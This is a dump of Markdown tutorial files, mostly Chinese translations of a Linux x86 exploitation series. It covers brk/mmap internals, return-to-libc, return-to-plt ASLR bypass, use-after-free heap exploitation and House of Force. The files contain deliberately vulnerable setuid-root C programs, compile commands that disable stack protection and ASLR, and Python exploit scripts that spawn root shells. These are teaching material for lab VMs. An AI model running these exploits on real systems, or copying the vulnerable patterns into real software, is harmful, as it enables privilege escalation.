fake_ebp6 = 0xbffff224 123 | fake_ebp7 = 0xbffff234 124 | leave_ret = 0x0804851c 125 | sprintf_addr = 0xb7e6e8d0 126 | seteuid_addr = 0xb7f09720 127 | system_addr = 0xb7e61060 128 | exit_addr = 0xb7e54be0 129 | sprintf_arg1 = 0xbffff210 130 | sprintf_arg2 = 0x80485f0 131 | sprintf_arg3 = 0xbffff23c 132 | system_arg = 0x804829d 133 | exit_arg = 0xffffffff 134 | #endianess convertion 135 | def conv(num): 136 | return struct.pack(" 当 [ASLR](https://en.wikipedia.org/wiki/Address_space_layout_randomization) 关闭时,start_brk和brk将指向数据段 ([end_data](http://lxr.free-electrons.com/source/include/linux/mm_types.h?v=3.8#L364))的末尾 14 | > 当ASLR打开时,start_brk和brk指向的位置即为数据段(end_data)的末尾地址加上随机brk偏移地址所指向的位置 15 | 16 | ![](../pictures/mallocsystemcall2.png) 17 | 18 | 19 | 由上图可知,start_brk即为堆段的初始位置,brk(程序中断)即为堆段的末尾位置 20 | Example: 21 | 22 | ``` c 23 | /* sbrk and brk example */ 24 | #include 25 | #include 26 | #include 27 | int main() 28 | { 29 | void *curr_brk, *tmp_brk = NULL; 30 | printf("Welcome to sbrk example:%d\n", getpid()); 31 | /* sbrk(0) gives current program break location */ 32 | tmp_brk = curr_brk = sbrk(0); 33 | printf("Program Break Location1:%p\n", curr_brk); 34 | getchar(); 35 | /* brk(addr) increments/decrements program break location */ 36 | brk(curr_brk+4096); 37 | curr_brk = sbrk(0); 38 | printf("Program break Location2:%p\n", curr_brk); 39 | getchar(); 40 | brk(tmp_brk); 41 | curr_brk = sbrk(0); 42 | printf("Program Break Location3:%p\n", curr_brk); 43 | getchar(); 44 | return 0; 45 | } 46 | ``` 47 | 输出分析: 48 | 在增加程序中断之前:在下面的输出中我们可以看到这没有堆段,因此 49 | 50 | > start_brk=brk=end_data=0x804b000 51 | 52 | ``` bash 53 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ./sbrk 54 | Welcome to sbrk example:6141 55 | Program Break Location1:0x804b000 56 | ... 57 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6141/maps 58 | ... 59 | 0804a000-0804b000 rw-p 00001000 08:01 539624 /home/sploitfun/ptmalloc.ppt/syscalls/sbrk 60 | b7e21000-b7e22000 rw-p 00000000 00:00 0 61 | ... 62 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ 63 | ``` 64 | 增加了程序中断位置之后:在下面的输出中我们可以看到这有堆段了,因此: 65 | 66 | > start_brk=end_data=0x804b000 67 | > brk=0x804c000 68 | 69 | ``` 70 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ ./sbrk 71 | Welcome to sbrk example:6141 72 | Program Break Location1:0x804b000 73 | Program Break Location2:0x804c000 74 | ... 75 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6141/maps 76 | ... 77 | 0804a000-0804b000 rw-p 00001000 08:01 539624 /home/sploitfun/ptmalloc.ppt/syscalls/sbrk 78 | 0804b000-0804c000 rw-p 00000000 00:00 0 [heap] 79 | b7e21000-b7e22000 rw-p 00000000 00:00 0 80 | ... 81 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ 82 | ``` 83 | 在这 84 | 0804b000-0804c000是这个堆段的虚拟地址范围 85 | rw-p是权限(读,写,不可执行,私有) 86 | 00000000代表文件偏移量——由于它不是从其它文件映射而来,所以就为0 87 | 00:00是主要/次要设备编号——由于它不是从其它文件映射而来,所以这里为0 88 | 0代表Inode编号——由于它不是从其它文件映射而来,所以这里为0 89 | [heap]堆段 90 | 91 | ## 0X02 mmap 92 | 93 | malloc使用 [mmap](http://lxr.free-electrons.com/source/mm/mmap.c?v=3.8#L1285) 创建私有匿名映射段。私有匿名映射的主要目的是分配新的内存(零填充),并且这个新的内存将被调用进程独占使用。 94 | Example: 95 | 96 | ``` c 97 | /* Private anonymous mapping example using mmap syscall */ 98 | #include 99 | #include 100 | #include 101 | #include 102 | #include 103 | #include 104 | #include 105 | void static inline errExit(const char* msg) 106 | { 107 | printf("%s failed. Exiting the process\n", msg); 108 | exit(-1); 109 | } 110 | int main() 111 | { 112 | int ret = -1; 113 | printf("Welcome to private anonymous mapping example::PID:%d\n", getpid()); 114 | printf("Before mmap\n"); 115 | getchar(); 116 | char* addr = NULL; 117 | addr = mmap(NULL, (size_t)132*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 118 | if (addr == MAP_FAILED) 119 | errExit("mmap"); 120 | printf("After mmap\n"); 121 | getchar(); 122 | /* Unmap mapped region. */ 123 | ret = munmap(addr, (size_t)132*1024); 124 | if(ret == -1) 125 | errExit("munmap"); 126 | printf("After munmap\n"); 127 | getchar(); 128 | return 0; 129 | } 130 | ``` 131 | 输出分析: 132 | mmap之前:在下面的输出中,我们只能看到属于共享库libc.so和ld-linux.so的内存映射段 133 | ``` bash 134 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 135 | 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 136 | 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 137 | 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 138 | b7e21000-b7e22000 rw-p 00000000 00:00 0 139 | ... 140 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ 141 | ``` 142 | mmap之后:在下面的输出中,我们可以观察到我们的内存映射段(b7e00000 - b7e21000,大小为132KB)与已有的内存映射段(b7e21000 - b7e22000)结合了 143 | ``` 144 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 145 | 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 146 | 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 147 | 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 148 | b7e00000-b7e22000 rw-p 00000000 00:00 0 149 | ... 150 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ 151 | ``` 152 | 在这里 153 | b7e00000-b7e22000是这个堆段的虚拟地址范围 154 | rw-p代表权限(读,写,不可执行,私有) 155 | 00000000代表文件偏移量——由于它不是从其它文件映射而来,所以就为0 156 | 00:00是主要/次要设备编号——由于它不是从其它文件映射而来,所以这里为0 157 | 0代表Inode编号——由于它不是从其它文件映射而来,所以这里为0 158 | 159 | munmap之后:在下面的输出中,我们可以看到我们的内存映射段是未映射的,即它的相应的内存被释放到操作系统。 160 | 161 | ``` bash 162 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps 163 | 08048000-08049000 r-xp 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 164 | 08049000-0804a000 r--p 00000000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 165 | 0804a000-0804b000 rw-p 00001000 08:01 539691 /home/sploitfun/ptmalloc.ppt/syscalls/mmap 166 | b7e21000-b7e22000 rw-p 00000000 00:00 0 167 | ... 168 | sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ 169 | ``` 170 | 注意:在我们的示例程序执行过程中ASLR是被关闭的。 171 | 172 | 参考文献: 173 | 1. [Anatomy of program in memory](http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/) -------------------------------------------------------------------------------- /Linux X86 漏洞利用系列/绕过ASLR-第一篇章(return-to-plt).md: -------------------------------------------------------------------------------- 1 | CSysSec注: 本系列文章译自安全自由工作者Sploitfun的漏洞利用系列博客,从经典栈缓冲区漏洞利用堆漏洞利用,循序渐进,是初学者不可多得的好材料,本系列所有文章涉及的源码可以在这里找到。CSysSec计划在原基础上不断添加相关漏洞利用技术以及相应的Mitigation方法,欢迎推荐或自荐文章。 2 | 转载本文请务必注明,文章出处:《[Linux(X86)漏洞利用系列-绕过ASLR-第一篇章(return-to-plt)](http://www.csyssec.org/20170101/bypassaslr-returntoplt)》与作者信息:CSysSec出品 3 | 4 | VM Setup: Ubuntu 12.04(x86) 5 | 6 | 在前面的文章中,为了利用漏洞代码,攻击者需要知道: 7 | 8 | 栈地址(为了跳转到shellcode中) 9 | libc基地址(为了成功绕过NX) 10 | 因此,为了防御攻击者的行为,安全研究人员提出一种漏洞利用缓解(exploit mitigation)方法: “ASLR” 11 | 12 | ## ASLR 13 | 14 | 地址空间布局随机化(ASLR)是一种漏洞利用缓解方法,其可以随机化 15 | 16 | * 栈地址 17 | * 堆地址 18 | * 共享库地址 19 | 上述地址一旦被随机化,尤其是当共享库地址被随机化时,由于攻击者需要知道libc的基地址,我们前面提到的绕过NX的方法不再有效,但这种缓解技术也不是完全安全的,已经出现可以自动化绕过的[工具](https://github.com/cryptolok/ASLRay) 。   20 | 21 | 从前文中,我们已经知道exp.py中的 libc函数地址是以下面计算方式得到的: 22 | 23 | libc函数地址=libc基地址+函数偏移 24 | 这里 25 | 26 | 由于随机化被关闭,libc基地址是个常量(在‘vuln’二进制文件中是0xb7e22000) 27 | 函数偏移也是常量(可以执行”readelf -s libc.so.6 | grep”获取) 28 | 现在当我们利用以下命令打开全随机化选项时(full randomization) 29 | 30 | `#echo 2 > /proc/sys/kernel/randomize_va_space` 31 | libc基地址将会被随机化 32 | 33 | 注意: 只有libc的基地址被随机化了,从基地址开始的一个特殊函数的偏移仍然是个常量!因此,尽管打开了ASLR,只要我们能利用下面三项技术绕过共享库基地址的随机化,漏洞程序仍然能被成功利用. 34 | 35 | * Return-to-plt(这篇文章) 36 | * 暴力破解(第二篇章) 37 | * GOT覆盖与GOT解引用(第三篇章) 38 | 39 | ## Return-to-plt 40 | 41 | 利用这项技术,攻击者返回到一个函数的PLT(其地址没有被随机化-在执行之前就可以知道),而不是返回到libc函数(其地址被随机化了)。 由于’function@PLT’没有被随机化,攻击者不需要预测libc的基地址,而只要简单地返回到‘function@PLT’就可以调用这个’function’。 42 | 43 | 什么是PLT,如何调用‘function@PLT'来调用其中的'function' 44 | 45 | ## 调用‘function@PLT’ 46 | 47 | 要了解过程链接表(Procedural Linkage Table(PLT)),先来简单介绍一下共享库! 48 | 49 | 不同于静态库的是,共享库的text段在多个进程间共享,但它的数据段在每个进程中是唯一的。这样设计可以减少内存和磁盘空间。正是text段在多个进程间共享,其必须只有读和执行权限。没有了写权限,动态链接器不能在text段内部重定位数据描述符(data symbol)或者函数地址。这样一来,程序运行期间,动态链接器是如何在不修改text段的情况下,重定位共享库描述符的呢? 利用PIC! 50 | 51 | ## 什么是PIC呢? 52 | 位置独立代码(Position Independent Code(PIC))用来解决这个问题: 尽管共享库的text段在加载期间执行重定位,也能确保它能在多个进程中共享。PIC通过一层间接寻址来达到这个目的。共享库的text段中没有绝对虚拟地址来替代全局描述符和函数引用,而是指向数据段中的一个特定表。这个表用来存放全局描述符和函数的绝对虚拟地址。动态链接器作为重定位的一部分会填充这个表。因此,在重定位时,只有数据段被修改,而text段依然完好无顺。 53 | 54 | 动态链接器使用下面两种方法来重定位PIC中的全局描述符和函数: 55 | 56 | * 全局偏移表(Global Offset Table(GOT)): 全局偏移表为每个全局变量分配一个4字节的表项,这4个字表项中含有全局变量的地址。当代码段中的一条指令引用一个全局变量时,这条指令指向的是GOT中的一个表项,而不是全局变量的绝对虚拟地址。当共享库被加载时,动态链接库会重定位这个GOT表项。因此,PIC利用GOT通过一层间接寻址来重定位全局描述符. 57 | * 过程链接表(Procedural Linkage Table(PLT)): 过程链接表含有每个全局函数的存根代码。text段中的一条call指令不会直接调用这个函数(‘function’),而是调用这个存根代码(function@PLT)。存根代码在动态链接器的帮助下,解析函数地址并将其拷贝到GOT(GOT[n])中。解析过程只发生在第一次调用函数(‘function’)的时候,之后代码段中的call指令调用存根代码(function@PLT)而不是调用动态链接器去解析函数地址(‘function’)。存根代码直接从GOT(GOT[n])获取函数地址并跳转到那里。因此,PIC利用PLT通过两层间接寻址来重定位函数地址 58 | 很高兴你知道了PIC并能理解它能保证共享库的text段的完整性,因此能帮助共享库的text段再许多进程间共享! 但你是否怀疑过,为什么可执行文件的text段并不在任何进程间共享,也需要有个GOT表项或者PLT存根代码呢?这是出于安全保护机制的考虑。如今默认情况下,text段只提供读和执行权限并没有写权限(R_X)。这种保护机制并允许动态链接库对text段进行写操作,因此也就不能重定位text段内部的数据描述符或函数地址。为了让动态链接器能重定位,可执行文件同共享库一样也需要GOT表项和PLT存根代码。 59 | 60 | 代码样例: 61 | 62 | ``` c 63 | //eg.c 64 | //$gcc -g -o eg eg.c 65 | #include 66 | int main(int argc, char* argv[]) { 67 | printf("Hello %s\n", argv[1]); 68 | return 0; 69 | } 70 | ``` 71 | 下面的汇编代码说明了’printf’并不是直接被调用,而是其相应的PLT代码 ‘printf@PLT’被调用了。 72 | 73 | ``` 74 | (gdb) disassemble main 75 | Dump of assembler code for function main: 76 | 0x080483e4 <+0>: push %ebp 77 | 0x080483e5 <+1>: mov %esp,%ebp 78 | 0x080483e7 <+3>: and $0xfffffff0,%esp 79 | 0x080483ea <+6>: sub $0x10,%esp 80 | 0x080483ed <+9>: mov 0xc(%ebp),%eax 81 | 0x080483f0 <+12>: add $0x4,%eax 82 | 0x080483f3 <+15>: mov (%eax),%edx 83 | 0x080483f5 <+17>: mov $0x80484e0,%eax 84 | 0x080483fa <+22>: mov %edx,0x4(%esp) 85 | 0x080483fe <+26>: mov %eax,(%esp) 86 | 0x08048401 <+29>: call 0x8048300 87 | 0x08048406 <+34>: mov $0x0,%eax 88 | 0x0804840b <+39>: leave 89 | 0x0804840c <+40>: ret 90 | End of assembler dump. 91 | (gdb) disassemble 0x8048300 92 | Dump of assembler code for function printf@plt: 93 | 0x08048300 <+0>: jmp *0x804a000 94 | 0x08048306 <+6>: push $0x0 95 | 0x0804830b <+11>: jmp 0x80482f0 96 | End of assembler dump. 97 | (gdb) 98 | ``` 99 | 在’printf’第一次被调用前,其相应的GOT表项(0x804a000)指回到PLT代码(0x8048306)本身。因此,当printf函数第一次被调用时,其相应的函数地址通过动态链接器来解析。 100 | 101 | ``` 102 | (gdb) x/1xw 0x804a000 103 | 0x804a000 : 0x08048306 104 | (gdb) 105 | ``` 106 | 现在printf被调用之后,其相应的GOT表项含有printf的函数地址(如下图): 107 | 108 | ``` 109 | (gdb) x/1xw 0x804a000 110 | 0x804a000 : 0xb7e6e850 111 | (gdb) 112 | ``` 113 | 注意 1: 如果你想了解PLT和GOT的更多信息,可以阅读[这篇文章](http://sploitfun.blogspot.in/2013/06/dynamic-linking-internals.html) 114 | 115 | 注意 2: 我会在别的文中单独谈谈动态链接器是如何解析libc函数地址的。现在只要记住下面两条语句(printf@PLT的一部分)是用来解析函数地址的! 116 | 117 | ``` 118 | 0x08048306 <+6>: push $0x0 119 | 0x0804830b <+11>: jmp 0x80482f0 120 | ``` 121 | 了解这个之后,我们可以知道攻击者并不需要知道libc函数的地址来调用libc函数,只要简单通过’function@PLT’(在执行前知道)就可以调用了。 122 | 123 | 漏洞代码: 124 | 125 | ``` c 126 | #include 127 | #include 128 | /* Eventhough shell() function isn't invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */ 129 | void shell() { 130 | system("/bin/sh"); 131 | exit(0); 132 | } 133 | int main(int argc, char* argv[]) { 134 | int i=0; 135 | char buf[256]; 136 | strcpy(buf,argv[1]); 137 | printf("%s\n",buf); 138 | return 0; 139 | } 140 | ``` 141 | 编译命令: 142 | 143 | ``` bash 144 | #echo 2 > /proc/sys/kernel/randomize_va_space 145 | $gcc -g -fno-stack-protector -o vuln vuln.c 146 | $sudo chown root vuln 147 | $sudo chgrp root vuln 148 | $sudo chmod +s vuln 149 | ``` 150 | 现在反汇编可执行文件’vuln’,我们可以找出’system@PLT’与’exit@PLT’的地址 151 | 152 | ``` 153 | (gdb) disassemble shell 154 | Dump of assembler code for function shell: 155 | 0x08048474 <+0>: push %ebp 156 | 0x08048475 <+1>: mov %esp,%ebp 157 | 0x08048477 <+3>: sub $0x18,%esp 158 | 0x0804847a <+6>: movl $0x80485a0,(%esp) 159 | 0x08048481 <+13>: call 0x8048380 160 | 0x08048486 <+18>: movl $0x0,(%esp) 161 | 0x0804848d <+25>: call 0x80483a0 162 | End of assembler dump. 163 | (gdb) 164 | ``` 165 | 利用这些地址,我们就可以写出绕过ASLR(与NX)的漏洞利用代码! 166 | 167 | 漏洞利用代码: 168 | 169 | ``` python 170 | #exp.py 171 | #!/usr/bin/env python 172 | import struct 173 | from subprocess import call 174 | system = 0x8048380 175 | exit = 0x80483a0 176 | system_arg = 0x80485b5 #Obtained from hexdump output of executable 'vuln' 177 | #endianess convertion 178 | def conv(num): 179 | return struct.pack(" 18 | #include 19 | #include 20 | #define BUFSIZE1 1020 21 | #define BUFSIZE2 ((BUFSIZE1/2) - 4) 22 | int main(int argc, char **argv) { 23 | char* name = malloc(12); /* [1] */ 24 | char* details = malloc(12); /* [2] */ 25 | strncpy(name, argv[1], 12-1); /* [3] */ 26 | free(details); /* [4] */ 27 | free(name); /* [5] */ 28 | printf("Welcome %s\n",name); /* [6] */ 29 | fflush(stdout); 30 | char* tmp = (char *) malloc(12); /* [7] */ 31 | char* p1 = (char *) malloc(BUFSIZE1); /* [8] */ 32 | char* p2 = (char *) malloc(BUFSIZE1); /* [9] */ 33 | free(p2); /* [10] */ 34 | char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */ 35 | char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */ 36 | printf("Enter your region\n"); 37 | fflush(stdout); 38 | read(0,p2,BUFSIZE1-1); /* [13] */ 39 | printf("Region:%s\n",p2); 40 | free(p1); /* [14] */ 41 | } 42 | ``` 43 | 编译命令: 44 | 45 | ``` bash 46 | #echo 2 > /proc/sys/kernel/randomize_va_space 47 | $gcc -o vuln vuln.c 48 | $sudo chown root vuln 49 | $sudo chgrp root vuln 50 | $sudo chmod +s vuln 51 | ``` 52 | 注意: 不像[前文](http://www.csyssec.org/20170104/heap-offbyone/),这里打开了ASLR. 现在让我们开始利用UaF bug吧,由于已经打开了ASLR,我们用信息泄露和暴力破解技术来绕过它。 53 | 54 | 上述漏洞代码含有两个UaF bug,分别在第[6]和[13]行。它们相对应的堆内存分别在第[5]和第[10]行被释放,但它们的指针在释放后仍然再次被使用 (第[6]和[13]行)!第[6]行的UaF导致信息泄露,而第[13]行的UaF导致任意代码执行。 55 | 56 | ## 0X02 什么是信息泄露?攻击者如何利用? 57 | 58 | 在漏洞代码中(第[6]行),信息是通过堆地址被泄露的。泄露的堆地址可以帮助攻击者很容易的算出已经被随机化的堆基地址,从而击败ASLR! 59 | 60 | 为了理解堆地址是如何被泄露的,我们先来理解一下漏洞代码的上半部分。 61 | 62 | * 第[1]行分配了16字节的堆内存给’name’ 63 | * 第[2]行分配了16字节的堆内存给’details’ 64 | * 第[3]行将程序的argv[1]参数拷贝到’name’堆内存区域 65 | * 第[4]和[5]行回收’name’和’details’堆内存给glibc malloc。 66 | * 第[6]行的printf 在’name’指针被释放后继续使用,导致泄露堆地址。 67 | 68 | 从[前文](http://www.csyssec.org/20170104/glibcmalloc/) 我们知道,对应于’name’和’details’指针的chunk属于fast chunk。当这些fast chun被释放时,会被存储在fast bins的0索引处(index zero)。我们也知道每个fast bin含有空闲chunks的单链表。因此在我们的例子中,fast bin的 [0索引中](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L3887)的单链表形式如下所示: 69 | 70 | `main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL` 71 | 由于这种单链表形式,’name’的前四个字节含有’details_chunk’的地址。因此,当’name’被输出时,‘details_chunk’的地址先被输出。从堆栈布局,我们知道’details_chunk’ 位于堆基地址的偏移0x10处。因此,从获取被泄露的地址中减去0x10,就可以得到堆的基地址了。 72 | 73 | ### 如何做到任意代码执行 74 | 现在已经获取随机化的堆基地址,理解漏洞代码的下半部分,让我们来看看是怎么做到任意代码执行的。 75 | 76 | * 第[7]行分配了16字节的堆内存给’tmp’ 77 | * 第[8]行分配了1024字节的堆内存给’p1’ 78 | * 第[9]行分配了1024字节的堆内存给’p2’ 79 | * 第[10]行回收了’p2’的1024字节堆内存给glibc malloc 80 | * 第[11]行分配了512字节的堆内存给’p2_1’ 81 | * 第[12]行分配了512字节的堆内存给’p2_2’ 82 | * 第[13]行的read在’p2’被释放后继续使用它 83 | * 第[14]行回收了’p1’的1024字节堆内存给glibc malloc,当程序退出时,导致任意代码执行。 84 | 85 | 通过阅读[前文](http://www.csyssec.org/20170104/glibcmalloc/),我们知道当’p2’被回收给glibc maloc时候,会被[合并](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L4017)到top chunk。 之后,当为’p2_1’请求内存时,会从top chunk中[分配](https://github.com/sploitfun/lsploits/blob/master/glibc/malloc/malloc.c#L3755) -‘p2’和’p2_1’含有相同的堆地址。当为’p2_2’请求内存时,会从top chunk中- ‘p2_2’距’p2’有512字节。当’p2’指针释放后被使用(第[13]行),攻击者控制的数据(最多1019字节)被拷贝到’pc_1’中,而’p2_1’只有512字节,剩下的被攻击者控制的字节会覆盖下一个chunk’p2_2’,这样一来就允许攻击者覆盖下一个chunk的头部size域! 86 | 87 | 堆布局: 88 | ![](../pictures/useafterfree.png) 89 | 90 | 91 | 在[这里](http://www.csyssec.org/20170104/heap-offbyone/) 可以看出,如果攻击者成功覆盖下一个chunk的size域,就可以欺骗glibc malloc来unlink chunk ‘p2_1’了,尽管这时chunk已经处于分配状态。在[同一篇文](http://www.csyssec.org/20170104/heap-offbyone/) 中,我们也知道只要攻击者能小心的构造一个假的chunk头部信息,unlink一个已经处于分配状态的大chunk会导致任意代码执行!! 攻击者按一下方式构造假的chunk头部信息: 92 | 93 | * fd必须指回被释放的chunk地址。从堆布局中可以发现,’p2_1’位于偏移0x410处。 因此,fd=heap_base_address(可以从信息泄露bug中获取) + 0x410. 94 | * bk也要指回被释放的chunk地址。从堆布局中可以发现,’p2_1’位于偏移0x410处。 因此,fd=heap_base_address(可以从信息泄露bug中获取) + 0x410. 95 | * fd_nextsize必须指向tls_dtor_list - 0x14。 ‘tls_dtor_list’属于glibc的私有匿名映射段中,它已经被随机化。因此,可以利用下面的漏洞利用代码中的暴力破解技术绕过随机化。 96 | * bk_nextsize必须指向含有dtor_list元素的堆地址! 在构建假的chunk 头之后,’system’ dtor_list被攻击者注入,这时,’setuid’ dtor_list被攻击者注入来替代’p2_1’的堆内存区域。从堆布局中,我们可以知道’system’ 和’setuid’ dtor_list分别位于0x428和0x618处。 97 | 98 | 得到所有这些信息之后,我们就可以写个漏洞利用程序攻击二进制文件’vuln’了。 99 | 100 | 漏洞利用代码: 101 | 102 | ``` python 103 | #exp.py 104 | #!/usr/bin/env python 105 | import struct 106 | import sys 107 | import telnetlib 108 | import time 109 | ip = '127.0.0.1' 110 | port = 1234 111 | def conv(num): return struct.pack(" 25 | #include 26 | int main(int argc, char* argv[]) { 27 | char buf[256]; /* [1] */ 28 | strcpy(buf,argv[1]); /* [2] */ 29 | printf("%s\n",buf); /* [3] */ 30 | fflush(stdout); /* [4] */ 31 | return 0; 32 | } 33 | ``` 34 | 编译命令: 35 | 36 | ``` bash 37 | #echo 0 > /proc/sys/kernel/randomize_va_space 38 | $gcc -g -fno-stack-protector -o vuln vuln.c 39 | $sudo chown root vuln 40 | $sudo chgrp root vuln 41 | $sudo chmod +s vuln 42 | ``` 43 | 注意: “-z exexstack”参数并没有传递给gcc,因此这时栈是不可执行的(Non eXecutable),可以通过下述方法来验证: 44 | 45 | ``` bash 46 | $ readelf -l vuln 47 | ... 48 | Program Headers: 49 | Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align 50 | PHDR 0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4 51 | INTERP 0x000154 0x08048154 0x08048154 0x00013 0x00013 R 0x1 52 | [Requesting program interpreter: /lib/ld-linux.so.2] 53 | LOAD 0x000000 0x08048000 0x08048000 0x00678 0x00678 R E 0x1000 54 | LOAD 0x000f14 0x08049f14 0x08049f14 0x00108 0x00118 RW 0x1000 55 | DYNAMIC 0x000f28 0x08049f28 0x08049f28 0x000c8 0x000c8 RW 0x4 56 | NOTE 0x000168 0x08048168 0x08048168 0x00044 0x00044 R 0x4 57 | ... 58 | GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4 59 | GNU_RELRO 0x000f14 0x08049f14 0x08049f14 0x000ec 0x000ec R 0x1 60 | $ 61 | ``` 62 | 栈中只有RW标志位,并没有E标志位! 63 | 64 | ## 如何绕过NX比特位做到任意代码执行 65 | 66 | 可以通过“return-to-libc”技术来绕过NX比特位。这里,返回地址被一种特殊的libc函数地址(而不是含有shellcode代码的栈地址)覆盖。举个例子,如果攻击者想触发一个shell, 他会利用system()地址来覆盖返回地址并设置好system()在栈中需要的必要参数,以便能成功调用system()。 67 | 68 | 之前我们已经反汇编并画出了漏洞代码的栈布局,现在开始写个漏洞利用代码来绕过NX比特位吧! 69 | 70 | 漏洞利用代码 71 | 72 | ``` python 73 | #exp.py 74 | #!/usr/bin/env python 75 | import struct 76 | from subprocess import call 77 | #Since ALSR is disabled, libc base address would remain constant and hence we can easily find the function address we want by adding the offset to it. 78 | #For example system address = libc base address + system offset 79 | #where 80 | #libc base address = 0xb7e22000 (Constant address, it can also be obtained from cat /proc//maps) 81 | #system offset = 0x0003f060 (obtained from "readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system") 82 | system = 0xb7e61060 #0xb7e2000+0x0003f060 83 | exit = 0xb7e54be0 #0xb7e2000+0x00032be0 84 | #system_arg points to 'sh' substring of 'fflush' string. 85 | #To spawn a shell, system argument should be 'sh' and hence this is the reason for adding line [4] in vuln.c. 86 | #But incase there is no 'sh' in vulnerable binary, we can take the other approach of pushing 'sh' string at the end of user input!! 87 | system_arg = 0x804827d #(obtained from hexdump output of the binary,文件字符串地址+program header加载到内存时固定偏移地址) 88 | #endianess conversion 89 | def conv(num): 90 | return struct.pack(" \n”, argv[0]); return 1; 128 | } 129 | env=getenv(argv[1]); 130 | env += (strlen(argv[0]) - strlen(argv[2])) * 2; 131 | printf(“%s will be at %p\n”, argv[1], env); return 0; 132 | } 133 | ``` 134 | 135 | 在 x86_64 平台的实验采用了与 x86 平台类似的方式。我们为假 system()函数构造了一个假的栈帧内容,并让其执行特定的命令“/bin/sh”,但攻击并没有成功。这是因为在 x86_64 的 CPU 平台中程序执行时参数不是通过栈传递的而是通过寄存器,而 return-into-libc 需要将参数通过栈来传递。因此 system()函数始终不能获得正确的参数。为了验证这一点,我们通过 gdb 跟踪进入 system()后的过程。 136 | ``` 137 | $gdb retlibc 138 | ...... 139 | (gdb)p/x $rdi 140 | $1=0x7fffffffe012 141 | (gdb)set $rdi=0x7fffffffeddf 142 | (gdb)c 143 | continuing. 144 | $pwd 145 | /home/fmliu/paper 146 | $ 147 | ``` 148 | system()函数通过 rdi 寄存器获得参数“/bin/sh”的地址,因此在 gdb 中我们重新设定 rdi 寄存器的值为字符串地址后,攻击就可以实施了。因此,说明攻击确实是仅仅因为参数通过寄存器而非栈传递而导致了失败。 149 | 150 | ## 什么是最低权限准则 151 | 152 | 这种技术允许root setuid程序只有在需要的情况下才能获取root权限。也就是说,在需要时,root setuid程序拿到root 权限,不需要时就会丢弃已获取的权限。root setuid一般会在接收用户输入之前会丢弃root权限。因此,尽管用户输入是恶意的,攻击者也无法后去root shell。 举个例子,下面的漏洞代码不允许攻击者获取root shell。 153 | 154 | ``` c 155 | //vuln_priv.c 156 | #include 157 | #include 158 | int main(int argc, char* argv[]) { 159 | char buf[256]; 160 | seteuid(getuid()); /* Temporarily drop privileges */ 161 | strcpy(buf,argv[1]); 162 | printf("%s\n",buf); 163 | fflush(stdout); 164 | return 0; 165 | } 166 | ``` 167 | 对于上述漏洞程序,当我们执行下面的漏洞利用代码时,无法获取root shell。 168 | 169 | ``` python 170 | #exp_priv.py 171 | #!/usr/bin/env python 172 | import struct 173 | from subprocess import call 174 | system = 0xb7e61060 175 | exit = 0xb7e54be0 176 | system_arg = 0x804829d 177 | #endianess conversion 178 | def conv(num): 179 | return struct.pack(" 17 | #include 18 | #include 19 | 20 | void fvuln(unsigned long len, char *str, char *buf) 21 | { 22 | char *ptr1, *ptr2, *ptr3; 23 | 24 | ptr1 = malloc(256); 25 | printf("PTR1 = [ %p ]\n", ptr1); 26 | strcpy(ptr1, str); 27 | 28 | printf("Allocated MEM: %lu bytes\n", len); 29 | ptr2 = malloc(len); 30 | ptr3 = malloc(256); 31 | 32 | strcpy(ptr3, buf); 33 | } 34 | 35 | int main(int argc, char *argv[]) 36 | { 37 | char *pEnd; 38 | if (argc == 4) 39 | fvuln(strtoull(argv[1], &pEnd, 10), argv[2], argv[3]); 40 | 41 | return 0; 42 | } 43 | ``` 44 | So, the core of this technique is to overwrite av->top with an arbitrary value: in fact, once the attacker has the control over this value, if he can force a call to malloc() which uses the top chunk, he can control where the next chunk will be allocated and be able to write arbitrary bytes to any address. 45 | 46 | By keeping the 2.3.5 version of the malloc() implementation in mind, let’s see how it’s possible to perform the first step of this attack: overwriting av->top. At lines #3845 and 